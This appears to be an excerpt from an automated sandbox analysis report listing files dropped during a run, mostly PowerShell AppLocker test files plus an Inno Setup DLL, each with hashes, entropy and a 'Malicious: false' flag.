MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g0ugnfmy.dnf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gjuz1lx3.p43.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hlhu3o4o.5zr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iignm4me.gfw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ils5v2xc.eo2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iq3bahss.1ky.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j3imhnh3.vyf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_johbmj3w.wni.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jrkiipny.30m.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l3e3c2nx.yob.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nkkbjr25.4rn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_no01w45x.k5i.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ogmbzsj5.b5s.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ojpbobye.giz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pb4o1vx5.qig.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pc1tjfq4.bxg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_phuip4ol.ige.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pmwby1uc.sce.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q0nbg3hf.evx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t3twb1aj.45u.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tceif5bz.vio.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ua35ajff.0tn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uvesquot.dlr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xllvaggj.tpq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xn5mol1c.ylp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xradeo5c.vwb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y0sdding.qob.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y54oiyku.wkq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yv4wjwos.bjx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ywawfwia.2c3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zyyqjrmw.b2y.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\$ywr34c.tmp

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.6841837197791887
Encrypted:	false
SSDEEP:	3:jBJiA74Sv:jBJiA7Vv
MD5:	1249DB06A084E7BD91B25B5E80D734B4
SHA1:	24913C0107782EDBD4860DB5BD44EFA70A7DFFB8
SHA-256:	F81AA38FEF90A467D739EBC0B56A77F9D58057EE86EC69315A4015D5D7D396FA
SHA-512:	0687A3615C1BA2D13314382C66F4B4E7217B52DE18A88EE27B45D28F776461C17FFEF7B5D85FF7DA3AB3AE14F3003D5802656FE6B3067D5057C9CDF4CAF46AC4
Malicious:	false
Reputation:	unknown
Preview:	Windows Defender. ..

C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	false
Reputation:	unknown
